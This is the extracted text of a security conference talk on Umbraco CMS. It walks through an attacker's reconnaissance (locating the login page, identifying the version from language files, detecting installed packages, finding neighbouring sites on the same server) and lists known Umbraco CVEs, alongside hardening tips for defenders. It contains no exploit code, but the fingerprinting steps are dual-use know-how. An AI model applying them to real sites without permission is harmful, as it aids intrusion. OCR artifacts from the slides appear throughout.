# Security & Umbraco

Jeffrey Schoemaker – jeffrey@perplex.nl



# **Thought experiment**

- How would I hack into someone's Umbraco website?
- Sharing my thoughts so you can reconsider your security strategy

- 028 <!-- Security by Jeffrey Schoemaker -->



Education

<!-- Security by Jeffrey Schoemaker -->

- Increase security awareness
- Tips for hardening your Umbraco website

# We do not want this!

ELULIN //N Net SPAIN MORE - NEWSLETTERS ALL CENTRAL EUROPE MIDDLE EAST SCANDINAVIA AFRICA Drupal Fixes Drupalgeddon2 Security Flaw That Allows Hackers to **Take Over Sites** MUST READ WINDOWS CRITICAL FLAW: THIS SECURITY BUG IS UNDER ATTACK RIGHT NOW, SAYS MICROSOFT Update Drupal ASAP: Over a million sites By Catalin Cimpanu 🛗 March 28, 2018 🕥 05:08 PM 🔲 0 can be easily hacked by any visitor A dangerous Drupal flaw could leave your site completely compromised if you don't patch the flaw immediately. By Liam Tung | March 29, 2018 -- 11:37 GMT (12:37 BST) | Topic: Security Trent Steele @thevbox · May 1 DRUPALGEDDON2 Exploit in the Wild: #drupalgeddon2 - Analysis of CVE-2018-7600 \$form['account']['mail'] = [ '#type' => 'email', 'stitle' -> sthis->t('Email address'), address. The email address is not made public and will only be used if you wish to receive a new password or wish to receive certain news or notifications by email."), '#required' => !(!\$account->getEmail() && \$admin), '#default\_value' => (!\$register ? \$account->getEmail() : ''), 027 <!-- Security by Jeffrey Schoemaker --> 028

# Who am I?

#### Jeffrey Schoemaker

- Umbraco MVP 2017 & 2018
- Security & Umbraco enthousiast

#### Webdeveloper / co-owner Perplex

- Digital & Marketing agency in the Nether
- Umbraco Gold Partner
- Two Umbraco MVP's
- A few packages
  - Umbraco Forms Perplex on Steroids
  - Perplex Security & GDPR package
  - PerplexMail
  - Perplex Kraken Image Optimizer

028 <!-- Security by Jeffrey Schoemaker -->



# **Defense in Depth**

<!-- Security by Jeffrey Schoemaker -->

Multiple layers of defense

#### If one fails, there are more layers to protect you

### **Secure your Umbraco installation**



028 <!-- Security by Jeffrey Schoemaker -->

# Agenda Our hacking approach

- **1. Footprint & Identification**
- 2. Getting into Umbraco
- 3. In Umbraco Privilege escalation

# 4. Clearing our tracks

028 <!-- Security by Jeffrey Schoemaker -->

# Sidesteps

- Encryption
- Umbraco settings

# Hardening your Umbraco

- •9 concrete tips that you can implement right away!
- 028 <!-- Security by Jeffrey Schoemaker -->

**LEVEL 1** 

Footprint & Identification

LEVEL 2 Getting into Umbraco

65150

LEVEL 3 Privilege escalation

BE HAPPY

LEVEL 4 Clearing our tracks

# Level 1 Footprint & Identification

num Ik

SCr 1k

# **Mission 1**

- Goal: Get as much information on the website as possible
- Approach: Looking at specifics of the website
- We want to use this information in level 2 to try to exploit specific vulnerabilities in specific versions



# **Footprint & Identification**

- Most important part of hacking
- Stay under the radar
- Generate no noise & trigger no Intrusion
   Detection System

Level 1 Footprint & Identification

028 <!-- Security by Jeffrey Schoemaker -->

# **Mission 1.1**

- Goal: Determine if it's Umbraco
- Approach: Search for Umbraco-specific characteristics



028 <!-- Security by Jeffrey Schoemaker -->

# On the homepage

No easy way to identify Umbraco

### Total freedom of output

028 <!-- Security by Jeffrey Schoemaker -->



#### Go to /umbraco/

Happy thunderous	Thursday	
Username		
Your username is usually your email		
Password		
Enter your password	<b>1</b>	
Login	Forgotten password?	

028 <!-- Security by Jeffrey Schoemaker -->

001
002
003
004
005
006
007
800
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023

#### **Or..** Like this

005			
006			
007			
008			
009			
010		Happy thunderous	Thursday
011			Log in below
012			
013		Enter your username	
014			
015		Enter your password	••••
016			
017			Login
018			
019			
020			
021			
022			
023			
024			
025			
026			
027			
028	Security by J</td <td>effrey Schoemaker&gt;</td> <td></td>	effrey Schoemaker>	
029			

#### Or even like this



Welcome... Welcome... Umbraco Umbraco 4 Welcome to umbraco, type your username and password in the Welcome to umbraco, type your username and password in the boxes below: boxes below: Username Username •••• Password Password Login Login © 2001 - 2018 umbraco.org © 2001 - 2018 umbraco.org After Umbraco 4 we somehow lost the version numbering #donttalkaboutV5

<!-- Security by Jeffrey Schoemaker -->

# Publicly available on most websites

- Umbraco is exposed to the whole world!
- Everyone gets a few shots on accessing your website... Isn't that weird?

Level 1 Footprint & Identification

028 <!-- Security by Jeffrey Schoemaker -->

<!- Hardening tip 1-->

# IP whitelist your /umbraco/ using IIS Rewrite

#### **Result: Significant reduction in attack surface**

028 <!-- Security by Jeffrey Schoemaker -->





### <!-- Hardening tip 1-->

# Use an IISRewrite.config file

- Get the IP addresses of your client
- Whitelist them in your IIS Rewrite.config
- If your client cannot provide one range, or has a dynamic IP-range, restrict access by country <!- END Hardening tip 1 -->



# And then it looks like this

#### Access Denied Error 403

The requested resource requires authentication or a VPN connection.

#### Unauthorized Activity Has Been Detected

You are seeing this page because we have detected unauthorized activity. If you believe that there has been some mistake, please email our web site security team with the following case number in its subject:

Case Number: 400026242

<!-- Security by Jeffrey Schoemaker -->

## We get a 403 response

- So now we know that there is <u>something</u>
- And we are not allowed to see it



0	0	,
0	0	1
0	0	1
0	0	2
0	0	ļ
0	0	(
0	0	
0	0	ł
0	0	9
0	1	(
0	1	,
0	1	1
0	1	1
0	1	2
0	1	
0	1	(
0	1	
0	1	ł
0	1	(
0	2	(
0	2	,

#### <!-- Hardening tip 2-->

<!- END Hardening tip 2 -- >

# **Rename** your Umbraco-folder

022

#### 023

024 025

#### Change folder on disk and two web.config settings

028 <!-- Security by Jeffrey Schoemaker -->



# Hide your Umbraco-path

#### Change these values in your web.config

<add key="umbracoReservedPaths" value="~/umbraco,~/install/" /> <add key="umbracoPath" value="~/umbraco" />

#### Rename your /umbraco/-folder on disk



28 <!-- Security by Jeffrey Schoemaker -->



# Rename it to /my-secret-loginpanel/

#### Change these values in your web.config

<add key="umbracoReservedPaths" value="~/my-secret-loginpanel,~/install/"/><add key="umbracoPath" value="~/my-secret-loginpanel"/>

#### Rename the folder on disk

🔤 config

Media

- My-secret-loginpanel
- obj

#### Properties

Umbraco\_Client







#### We could not find a page corresponding to the url.

#### Sorry about that.

013		
014		
015		
016		
017		
018		
019		
020		
021		
022		
023		
024		
025		
026		
027		
028	Security by Jeffrey Schoemaker	





 Goal: Determine whether it's Umbraco, even when the Umbraco folder is renamed

#### Approach: Find other characteristics of Umbraco

028 <!-- Security by Jeffrey Schoemaker -->



029

# A clean Umbraco **folder** structure

800	App_Browsers
009	App_Data
010	App_Plugins
011	bin .
012	config
013	Media
014	ohi
015	Properties
016	umbraco
017	Umbraco_Client
018	Views
010	🜐 default.aspx
019	•
020	
021	
022	
023	
024	
025	
026	
027	
028	Security by Jeffrey Schoemaker

Files not	served by
IIS webse	erver (by
default)	

- .asax
- .config
- .csproj



Use this feature to configure filtering rules. 🔄 File Name Extensions 🛛 🛃 Rules 🕬 Hidden Segments

File Extension	Allowed
.ad	False
.adprototype	False
.asax	False
.ascx	False
.browser	False
.cd	False
.compiled	False
.config	False
.CS	False
.csproj	False
.dd	False
.dsdgm	False
.dsprototype	False
.exclude	False
.java	False
.jsl	False
.ldb	False
.ldd	False
.lddprototype	False
.ldf	False
.licx	False
.lsad	False

002		
003		
004	Other folders?	
005	Other Ioluers:	
006		
007		Folders not served
008	App Plugins	
009		by IIS (by default)
010	📊 config	
011		• App_Browsers
012		App Data
013		
014		• bin
015	Umbraco_Client	
016		
017	🌐 default.aspx	
018		Empty tolders
019		• Media
020		
021		• Obj
022		• Proportion
023		• Properties
024		Views
025		
026		
027		
028	Security by Jeffrey Schoemaker	
029		



#### **Request Filtering**

Use this feature to configure filtering rules.

Footp

🕒 File Name Extensions 🛛 🖂 Rules 🕮 Hidden Segments  $\wedge$ Segment App\_Browsers App\_code App\_Data App\_GlobalResources App\_LocalResources App\_WebReferences bin web.config

# Leaves us with...

- /App\_Plugins/
- /Config/

#### •/Umbraco\_client/

028 <!-- Security by Jeffrey Schoemaker -->



# /Config/-folder

007	BackOfficeTours	17/04/2018 13:38	File folder	
007	📜 imageprocessor	17/04/2018 13:38	File folder	
800	📙 Lang	17/04/2018 13:38	File folder	
009	📕 splashes	17/04/2018 13:38	File folder	
010	🟳 404handlers.config	17/04/2018 13:38	XML Configuration	1 KB
011	🟳 applications.config	17/04/2018 13:38	XML Configuration	1 KB
012	🟳 BaseRestExtensions.config	17/04/2018 13:38	XML Configuration	1 KB
013	🟳 ClientDependency.config	17/04/2018 16:22	XML Configuration	4 KB
014	🟳 Dashboard.config	17/04/2018 13:38	XML Configuration	3 KB
015	🟳 EmbeddedMedia.config	17/04/2018 13:38	XML Configuration	7 KB
016	🟳 ExamineIndex.config	17/04/2018 13:38	XML Configuration	2 KB
010	🟳 ExamineSettings.config	17/04/2018 13:38	XML Configuration	2 KB
017	🟳 feedProxy.config	17/04/2018 13:38	XML Configuration	1 KB
018	🟳 FileSystemProviders.config	17/04/2018 13:38	XML Configuration	1 KB
019	🐒 grid.editors.config.js	17/04/2018 13:38	JavaScript File	2 KB
020	🟳 HealthChecks.config	17/04/2018 13:38	XML Configuration	2 KB
021	🟳 log4net.config	17/04/2018 13:38	XML Configuration	2 KB
022	🟳 metablogConfig.config	17/04/2018 13:38	XML Configuration	1 KB
023	🟳 scripting.config	17/04/2018 13:38	XML Configuration	1 KB
024	🟳 tinyMceConfig.config	17/04/2018 13:38	XML Configuration	13 KB
025	🟳 trees.config	17/04/2018 13:52	XML Configuration	6 KB
026	🟳 umbracoSettings.config	17/04/2018 13:38	XML Configuration	10 KB
020				



# Aah... Only .config files

006				
007	BackOfficeTours	17/04/2018 13:38	File folder	
000	imageprocessor	17/04/2018 13:38	File folder	
000	📕 Lang	17/04/2018 13:38	File folder	
009	📕 splashes	17/04/2018 13:38	File folder	
010	🟳 404handlers.config	17/04/2018 13:38	XML Configuration	1 KB
011	applications.config	17/04/2018 13:38	XML Configuration	1 KB
012	🟳 BaseRestExtensions.config	17/04/2018 13:38	XML Configuration	1 KB
013	🟳 ClientDependency.config	17/04/2018 16:22	XML Configuration	4 KB
014	Dashboard.config	17/04/2018 13:38	XML Configuration	3 KB
015	Butte	17/04/2018 13:38	XML Configuration	7 KB
016	ExamineIndex.config	17/04/2018 13:38	XML Configuration	2 KB
010	Javascrint?	17/04/2018 13:38	XML Configuration	2 KB
017	feedProxy.config	17/04/2018 13:38	XML Configuration	1 KB
018	🟳 FileSystemProviders.config	17/04/2018 13:38	XML Configuration	1 KB
019	🐒 grid.editors.config.js	17/04/2018 13:38	JavaScript File	2 KB
020	🟳 HealthChecks.config	17/04/2018 13:38	XML Configuration	2 KB
021	🟳 log4net.config	17/04/2018 13:38	XML Configuration	2 KB
022	🟳 metablogConfig.config	17/04/2018 13:38	XML Configuration	1 KB
023	🟳 scripting.config	17/04/2018 13:38	XML Configuration	1 KB
924	🟳 tinyMceConfig.config	17/04/2018 13:38	XML Configuration	13 KB
025	🟳 trees.config	17/04/2018 13:52	XML Configuration	6 KB
025	🟳 umbracoSettings.config	17/04/2018 13:38	XML Configuration	10 KB
626				

001								
002								
003	$\bigcirc$							
004	$(\leftarrow)$	$\rightarrow$ C	俞	(i)	/config/grid.editors.config.js			
005		"alias"	: "gridTweet",					
006		"view": "render	"/App_Plugins/ ": "/App Plugir	'DocTypeGridEdito 1s/DocTypeGridEdi	pr/Views/doctypegrideditor.html", tor/Render/DocTypeGridEditor.cshtml",			
007		"icon":	"icon-bird",					
008		"config": {     "allowedDocTypes": ["gridTweet"],						
009		"na	meTemplate": ""	', 				
010		"vi	ewPath": "/View	/alse, √s/Partials/Grid/	'Editors/DocTypeGridEditor/",			
011		"pr "pr	eviewViewPath":	/Views/Partial	s/Grid/Editors/DocTypeGridEditor/Previews/",			
012		"pr	eviewJsFilePath	n": ""				
013	١.	}						
014	{							
015		"name": "alias"	"name": "Charts", "alias": "charts",					
016		<pre>"view": "/App_Plugins/DocTypeGridEditor/Views/doctypegrideditor.html", "render": "/App_Plugins/DocTypeGridEditor/Render/DocTypeGridEditor.cshtml", "icon": "icon-chart",</pre>						
о 10 017								
012		"config	(": {					
010		"al "na	lowedDocTypes": meTemplate": ""	["gridBarChart" ',	', "gridDoughnutChart", "gridPieChart", "gridLineChart"],			
020		"en	ablePreview": f	Talse,				
020		"vi "pr	ewPath": "/View eviewViewPath":	vs/Partials/Grid/ : "/Views/Partial	'Editors/DocTypeGridEditor/", Ls/Grid/Editors/DocTypeGridEditor/Previews/",			
021		"pr	eviewCssFilePat	:h": "",				
622		"pr	eviewJsFilePath	1": ""				
023	},							
024	{	"name":	"Big numbers",					
025		"alias"	: "bigNumbers",	,				
026		"view": "render	/App_Plugins/	'DocTypeGridEdito	pr/Views/doctypegrideditor.html", tor/Bender/DocTypeGridEditor.cshtml".			
027		"icon":	"icon-chart",	, boor poor rabar	, tender, boor poor abarosr to noming ,			
028	</th <th>Secur</th> <th>ity by Jeffr</th> <th>ey Schoemaker</th> <th>&gt;</th>	Secur	ity by Jeffr	ey Schoemaker	>			



# That must be Umbraco!


# **Mission 1.3**

- Goal: What version of Umbraco is being used
- Approach: Looking at specifics of that version

Level 1 Footprint & Identification

028 <!-- Security by Jeffrey Schoemaker -->



001 002	Looking at the login screens		
003 004 005 006 007 008 009 010 011	Happy tremendous tuesday log in below Enter your username Enter your password Login	Happy tubular tuesday log in below Enter your username Enter your password Login	Happy tubular Tuesday Log in below Enter your username Enter your password Log in Forgotten password?
012 013 014 015	7.0	7.1 - 7.4	7.5
016 017 018 019 020 021 022 023	Happy tubular Tuesday Username Your username is usually your email Password Enter your password	Happy tubular Tuesday Username four username is usually your email Password Enter your password	Happy tubular Tuesday Username Mour username is usually your email Password Enter your password Cogin
024 025 026	7.6	7.7	7.8 / 7.10

028 <!-- Security by Jeffrey Schoemaker -->



#### But that would be quite hard...

Is there are better a way?
Is are better a way?
Is are better a way?

028 <!-- Security by Jeffrey Schoemaker -->

#### We could...

- Look for specific files and their contents
- Each new feature in a version requires language keys
  - Crawl /umbraco/config/lang/en.xml

028 <!-- Security by Jeffrey Schoemaker -->



```
001
002
003
        7.5 introduced 'Forgot password'
004
005
006
007
        \leftarrow
                 G
                     俞

 (i)

                                                         /umbraco/config/lang/en.xml
008
009
             </kev>
              <key alias="resetPasswordEmailCopySubject">Umbraco: Reset Password</key>
010
            - <key alias="resetPasswordEmailCopyFormat">
011
                Your username to login to the Umbraco back-office is: <strong>%0%</strong>Click <a href="%"><a href=</a>
012
             </kev>
013
           </area>
014
          -<area alias="main">
015
              <key alias="dashboard">Dashboard</kev>
016
              <key alias="sections">Sections</key>
017
              <key alias="tree">Content</key>
018
           </area>
019
          -<area alias="moveOrCopy">
020
              <key alias="choose">Choose page above...</key>
021
              <key alias="copyDone">%0% has been copied to %1%</key>
022
            -<key alias="copyTo">
023
                Select where the document %0% should be copied to below
024
              </kev>
025
026
027
       <!-- Security by Jeffrey Schoemaker -->
028
```

#### 7.7 introduced Nested Content to the core

← → C ŵ (i) /umbraco/config/lang/en.xml
- <key alias="nestedContentEditorNotSupported"></key>
Property %0% uses editor %1% which is not supported by Nested Content.
<key alias="addTextBox">Add another text box</key>
<key alias="removeTextBox">Remove this text box</key>
<key alias="contentRoot">Content root</key>
- <area alias="blueprints"/>
<key alias="createBlueprintFrom">Create a new Content Template from '%0%'</key>
<key alias="blankBlueprint">Blank</key>
<key alias="selectBlueprint">Select a Content Template</key>
<key alias="createdBlueprintHeading">Content Template created</key>
<key alias="createdBlueprintMessage">A Content Template was created from '%0%'</key>
- <key alias="duplicateBlueprintMessage"></key>
Another Content Template with the same name already exists
- <key allas="blueprintDescription"></key>
A Content Template is pre-defined content that an editor can select to use as the basis for creating new content
<u key>
<: Security by Jettrey Schoemaker>

#### 7.9 introduced 'Sensitive data'

(←) → 健 @	(i) /umbraco/config/lang/en.xml
- <key alias="isSensiti&lt;/td&gt;&lt;td&gt;veValue"></key>	
This value is hidde	n. If you need access to view this value please contact your website administrator.
<key alias="isSensiti&lt;/td&gt;&lt;td&gt;veValue_short">This value is hidden.</key>	
- <area alias="blueprints&lt;/td&gt;&lt;td&gt;"/>	
<key alias="createBl&lt;/td&gt;&lt;td&gt;ueprintFrom">Create a new Content Template from '%0%'</key>	
<key alias="blankBlu&lt;/td&gt;&lt;td&gt;ieprint">Blank</key>	
<key alias="selectBlue&lt;/td&gt;&lt;td&gt;ueprint">Select a Content Template</key>	
<key alias="createdB&lt;/td&gt;&lt;td&gt;lueprintHeading">Content Template created</key>	
<key alias="createdB&lt;/td&gt;&lt;td&gt;lueprintMessage">A Content Template was created from '%0%'</key>	
- <key alias="duplicate&lt;/td&gt;&lt;td&gt;BlueprintMessage"></key>	
Another Content Te	emplate with the same name already exists
- <key alias="blueprint&lt;/td&gt;&lt;td&gt;tDescription"></key>	
A Content Templat	e is pre-defined content that an editor can select to use as the basis for creating new content
- <area alias="media"/>	
<key allas="click" lot<="" td=""><td>Dioad &gt;Click to upload</td></key>	Dioad >Click to upload
<key allas="oroprile&lt;/td"><td>snere ~Drop your mes here</td></key>	snere ~Drop your mes here
<pre><key <="" <lt="" allas="ufis" pre=""></key></pre>	lik to media~key~
<key alias="orbitAlia&lt;/td&gt;&lt;td&gt;wedFiles">Only allowed file types are</key>	
- <key <="" alias="digation" td=""><td>adFileTupe"&gt;</td></key>	adFileTupe">
SKEY ABAS- USABOW	

#### If /Umbraco/ is unavailable...

- Use another file:
  - /umbraco\_client/Application/Extensions.js
  - /umbraco\_client/Application/ UmbracoApplicationActions.js

Footprint & Identification

Level 1

<!-- Security by Jeffrey Schoemaker -->

### Now we know the specific version!



# **Mission 1.4**

- Goal: Discover installed packages
- Approach: Look for specific package characteristics

028 <!-- Security by Jeffrey Schoemaker -->

```
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
```

#### **Umbraco Forms**

```
←)
               \rightarrow C \hat{\mathbf{\omega}}
                                           (i) 🔒
          input.umb-forms hacky-hidden-field {
             opacity: 0;
             cursor: default;
           .umb-forms .umb-panel-header .umb-sub-views-nav {
             margin-top: 25px;
           .control-row.-margin-bottom {
             margin-bottom: 10px;
           .control-label.-block {
             display: block;
           .radio.-block {
             display: block;
           1
           .radio.-no-indent {
             padding-left: 0;
           .usky-grid .help-text i.icon {
             font-size: 16px;
           .umb-forms-page {
             position: relative;
           .umb-forms-designer label.checkbox i.icon {
            margin-left: -22px;
        <!-- Security by Jeffrey Schoemaker -->
028
029
```

App\_Plugins/UmbracoForms/css/umbraco.forms.cs

#### Archetype

C 🟠 (i) 🔒 /App\_Plugins/Archetype/css/archetype.css /\* TODO: clean this up \*/ .archetypeEditor { width: 98%; 3 .archetypeEditor .open { position: relative; (←) → 健 @ https://our.umbraco.org/projects/backoffice- $\blacksquare$  ....  $\bigtriangledown$   $\bigcirc$   $\bigcirc$  umbraco arche  $\rightarrow$ .archetypeEditor .dropdown-menu { top: auto; Our Umbraco Forum Projects Documentation Download Contribute Community Videos 3 .archetypeEditor .dropdown-menu > li > a { border-radius: 6px; 3 .archetypeEditor .controls-no-label { Our --- Projects --- Backoffice extensions padding: 10px; 3 87 votes .archetypeEditor a + ul.dropdown-menu { **Download package** margin-left: 0; Archetype 3 .archetypeEditor .icon { color: #333; \*\* This project has sunset, no further updates will be coming. Thanks for the or, install via nuget 3 memories all. \*\* .archetypeEditor fieldset { PM> Install-Package Archetype border: 1px solid #dddddd; Archetype is an Umbraco 7 property editor that wraps other installed property padding: 0; editors. By wrapping the other properties, Archetype allows for custom and Project owner margin-bottom: 5px; repeatable fieldset mashups. background-color: #f1f1f1; Think Widget Builder, Embedded Content, Data Type Grid. clear: both: Kevin Giszewski display: inline-block; Kevin has 3551 karma points Documentation: https://github.com/kgiszewski/ArchetypeManual width: 100%: 3 Source: http://github.com/kgiszewski/Archetype .archetypeEditor fieldset .archetypeProperty { **Project Compatibility** Ships with it's own Property Editor converter for easy template use. clear: both; This project is compatible with the following overflow: visible; versions as reported by community members who v1.18.0 is targeted for core 7.2.2+. There is a known issue with v7.2.2 that is fixed margin-top: 3px; have downloaded this package: with v1.7.1+. - }

028 <!-- Security by Jeffrey Schoemaker -->

# A Dulti Url Picker A Dulti Url Picker A Dulti Url Picker A Dulti Url Picker A dulti A DultiA Dulti A Dulti A Dulti A Dul

	Our Umbraco Forum Projects Document:	ation Download Contribute Community Videos 🕵
	Our → Projects → Backoffice extensions	
	🛡 65 vo	tes
	Multi Url Picker	version 2.1.0
	Allows editors to pick and sort multiple urls, it uses Umbraco's link picker which	or, install via <u>nuget</u>
	Usage	PM> Install-Package RJP.UmbracoMultiUrlPic
	Add a new property to your document type and select the Multi Url Picker property editor in the pickers category.	Project owner
	If you're using the models builder, you can access the property on your model e.g. Model.Links if your property alias is links.	Rasmus John Pedersen Rasmus has 343 karma points
	<pre>@{ var links = Model.Links.ToList(); }</pre>	Dreiget Competibility
	<pre>@if (links.Count &gt; 0) {</pre>	This project is compatiblicity This project is compatible with the following versions as reported by community members who
choemaker>	@foreach (var item in links)	have downloaded this package:

/App\_Plugins/rjp.multiurlpicker/multiurlpicker.html



#### Mission 1.4 accomplished

We can detect specific Umbraco packages

#### Hooray!

028 <!-- Security by Jeffrey Schoemaker -->



#### <!-- Hardening tip 3-->

#### **Stop leaking crucial information!**

#### Use IIS Rewrite IP Whitelisting on the following folders as well:

- App\_Plugins
- Config
- •Umbraco\_Client
- <!- END Hardening tip 3 -- >

These folders are only used by authenticated Umbraco users <!-- Security by Jeffrey Schoemaker -->



#### Automate it!

#### https://www.perplex.nl/is-it-umbraco/

#### Is it Umbraco?

Insert the domain of the website you want to scan and let us do our magic:

#### WEBSITE \*

http(s)://www.example.com

Scan this website

<!-- Security by Jeffrey Schoemaker -->

Level 1 Footprint & Identification

#### **Version info**

- Identified more than 5,000 Umbraco websites (according to the numbers only 1% of the total population online)
- Looking at the version and the installed packages



028 <!-- Security by Jeffrey Schoemaker -->

#### Most used packages



# Now we know the installed packages



## **Mission 1.5**

- Goal: Get into the website via a detour
- Approach: Look for other websites on the same server & gather information there

028 <!-- Security by Jeffrey Schoemaker -->

#### **Horizontal pivotting**

- If you can't get direct access your target website
- Maybe other websites on the same server can be used to gain access to the target website

- 028 <!-- Security by Jeffrey Schoemaker -->

#### **Tooling: IPNeighbour.com**

New Tab X	Pagler – C
$\leftrightarrow \rightarrow C \alpha$	
Apps For quick access, place your bookmarks here on the bookmarks bar. Import bookmarks now	
	Gmail Image
Goode	8
5	
Search Google or type URL	Ŷ
1 I I Rev Tab - Google	1609

Level 1 Identification

#### Mission 1: Accomplished

- We've got Umbraco version
- Umbraco packages
- Websites on the same server

028 <!-- Security by Jeffrey Schoemaker -->



**LEVEL 1** 

Footprint & Identification

LEVEL 2 Getting into Umbraco

65150

LEVEL 3 Privilege escalation

BE HAPPY

LEVEL 4 Clearing our tracks

#### Level 2 Getting into Umbraco

# **Mission 2**

Goal: Get into Umbraco

#### Approach 1: Exploit known vulnerabilities





# What is wrong with leaking this information?

- Can we use it to succeed in mission 2?
- Or is it just irrelevant information?

#### **Software & hardware systems** have known vulnerabilities

- In current or older versions
- Tracked in CVE-databases
  - Common Vulnerabilities & Exposures
- Vulnerability scanners use these to test your website

<!-- Security by Jeffrey Schoemaker -->



#### **Umbraco vulnerabilities**

#### According to umbraco.com/security

https://umbraco.com/follow-us/blog-archive/2012/11/14/security-update-foi/4100/

 https://umbraco.com/follow-us/blog-archive/2013/4/29/security-vulnerability-found-immediate-actionrecommended/

https://umbraco.com/follow-us/blog-archive/2013/5/1/security-update-two-major-vulnerabilities-found/

- https://umbraco.com/follow-us/blog-archive/2014/5/23/security-update-one-more-major-issue-fixed-ir through 4711/
- https://umbraco.com/follow-us/blog-archive/2014/7/21/security-issues-found-in-umbrace 4-6-and-7/
- https://umbraco.com/follow-us/blog-archive/2016/3/1/major-security-vulnerability-patched-in-umbracoversions
   -450 through
   4711/

Level 2 Getting into Umbraco

028 <!-- Security by Jeffrey Schoemaker -->

#### Umbraco Forms vulnerabilities

Umbraco Forms (optional plugin for Umbraco)

- https://umbraco.com/follow-us/blog-archive/2016/1/27/umbraco-forms-security-notice/
- https://umbraco.com/blog/security-advisory-update-umbraco-forms-immediately/
- https://umbraco.com/blog/umbraco-forms-security-update/

028 <!-- Security by Jeffrey Schoemaker -->

Level 2 Getting into Umbraco

#### Last week's Umbraco Forms notice



× 🙂 Umbraco Forms Security update × +

(i) 🔒 https://umbraco.com/blog/umbraco-forms-sec

#### Details

A remote code execution vulnerability exists in the core functionality of Umbraco Forms version 4.4.0+. This allows attackers to exploit an Umbraco site which

Ē

Q Zoeken

results in the site being compromised.

We will not reveal the exact nature of the vulnerability in order to make it possible for everybody to prepare and to patch their Forms installs.

We have no indication that this vulnerability is currently being exploited in the wild.

8 <!-- Security by Jeffrey Schoemaker -->

Level 2 Getting into Umbraco

#### **Online CVE - databases**

#### **CVE Details**

By Microsoft References

Top 50 :

Vendors

**Products** 

Versions

Feedback

CVE Help ----

Other :

The ultimate security vulnerability datasource

<u>Log In</u> <u>Register</u>															/ulnerabili	ty Feeds & Widge
<u>Switch to https://</u> <u>Home</u>	<u>Umbrac</u>	Imbraco : Vulnerability Statistics														
Browse : <u>Vendors</u>	Products (2) Vulnerabilities (7) Search for products of Umbraco								CVSS Scores Report Possible matches for this vendor Related Metasploit Modules							
Products	<u>Vulnerabi</u>	lity Feeds & Wi	<u>lgets</u>													
<u>Vulnerabilities By Date</u> Vulnerabilities By Type	Vulnerat	oility Trends (	Over Tim	e												
Reports : CVSS Score Report	Year	# of	DoS	Code	Overflow	Memory	Sql	XSS	Directory	Http Response	Bypass	Gain	Gain	CSRF	File	# of
CVSS Score Distribution	-	Vulnerabilities		Execution		Corruption	Injection		Traversal	Splitting	something	Information	Privileges		Inclusion	exploits
Search :	<u>2014</u>	1		1												
Vendor Search	2017	6						2			1	1		1		
Product Search	Total	7		1				- 2			1	1		1		
<u>Version Search</u> <u>Vulnerability Search</u>	% OF All	,	0.0	14.3	0.0	0.0	0.0	28.6	0.0	0.0	14.3	14.3	0.0	14.3	0.0	

Warning : Vulnerabilities with publish dates before 1999 are not included in this table and chart. (Because there are not many of them and they make the page look bad; and they may not be actually published in those years.)



028 <!-- Security by Jeffrey Schoemaker -->

Level 2 Getting into Umbraco

Searc

View C

www.itsecdb.o

----|

New

(e.g.: CVE-2009-1234 or 2010-1234 or 20101234)

029

001 002 003

004 005 006

007

008

018

019

020

021

022

023

024

025 026

Jmbr	aco : Securit	y Vulnera	bilities											1
VSS Sc ort Res	ores Greater Thai ults By : CVE Num	n: 0 1 2 3 nber Descendir	4 5 6 7 ng CVE Number	8 9 Ascending CVSS Sco	ore Descending N	lumber Of Exploits	Descending							
opy Re	sults Download I	Results		-										33
#	CVE ID	CWE ID	# of Exploits	Vulnerability Type(s)	Publish Date	Update Date	Score	Gained Access Level	Access	Complexity	Authentication	Conf.	Integ.	Avail.
1 <u>CVE</u>	-2017-15280	<u>611</u>		+Info	2017-10-12	2017-10-25	4.3	None	Remote	Medium	Not required	Partial	None	None
(ML ext Jmbrac	ternal entity (XXI o.Web/umbraco.	E) vulnerabilit presentation,	y in Umbraco C /umbraco/dialog	MS before 7.7.3 low gs/importbocumentty	s attackers to ol pe.aspx.cs.	otain sensitive info	ormation by	reading files on the	e server or s	ending TCP req	uests to intranet ho	osts (aka S	SSRF), rel	ated to
2 <u>CVE</u>	-2017-15279	<u>79</u>		xss	2017-10-12	2017-10-25	3.5	None	Remote	Medium	Single system	None	Partial	None
Cross-s bage, re	site scripting (XS elated to Umbrac	S) vulnerabili o.Web.UI/um	ty in Umbraco ( braco/dialogs/F	CM <mark>S before 7.7.3 I</mark> llow Publish.aspx.cs and Ur	vs remote attack mbraco.Web/uml	ers to inject arbitr praco.presentation	rary web scri n/umbraco/d	pt or HTML via the ialogs/notifications	e "page name s.aspx.cs.	e" (aka nodenan	ne) parameter durin	g the crea	tion of a r	new
3 <u>CVE</u>	-2015-8815	<u>79</u>		xss	2017-03-03	2017-03-07	5.0	None	Remote	Low	Not required	None	Partial	None
Aultiple	cross-site script r (3) the form pa	ting (XSS) vu age.	Inerabilities in U	Imbrace before 7.4.0	llow remote atta	ackers to inject ar	bitrary web s	script or HTML via	the name pa	arameter to (1)	the media page, (2)	the devel	oper data	edit
4 <u>CVE</u>	-2015-8814	<u>352</u>		Bypass CSRF	2017-03-03	2017-03-07	6.8	None	Remote	Medium	Not required	Partial	Partial	Partial
Jmbrac emplat	before 7.4.0 I	lows remote	attackers to by	pass anti-forgery sec	urity measures a	nd conduct cross-	-site request	forgery (CSRF) at	ttacks as de	monstrated by	editing user account	: informati	on in the	
5 <u>CVE</u>	<u>-2015-8813</u>	<u>918</u>			2017-03-03	2017-03-07	4.3	None	Remote	Medium	Not required	None	Partial	None
The Pag he url j	je_Load function parameter.	in Umbraco.	Web/umbraco.p	resentation/umbraco/	/dashboard/Feed	Proxy.aspx.cs in l	Umbrac <mark>o</mark> bef	ore 7.4.0 llows re	mote attack	ers to conduct	server-side request	forgery (S	SSRF) atta	acks via
6 <u>CVE</u>	-2013-4793	<u>287</u>		Exec Code	2014-12-27	2014-12-30	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
The upo Arbitrar	date function in u y ASP.NET code	umbraco.web via a crafted s	services/templa SOAP request.	tes/templateService.cs	s in the Template	Service compone	nt in Umbrac	o CM: before 6.0.	4 loes not r	require authenti	cation, which allows	remote at	ttackers to	o execute
7 <u>CVE</u>	<u>-2012-1301</u>	<u>20</u>			2017-04-13	2017-04-21	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
	dProxy.aspx scri	ipt in Umbrac	o 4.7.0 allows r	remote attackers to p	roxy requests or	their behalf via t	he "url" para	meter.						
The Fee														

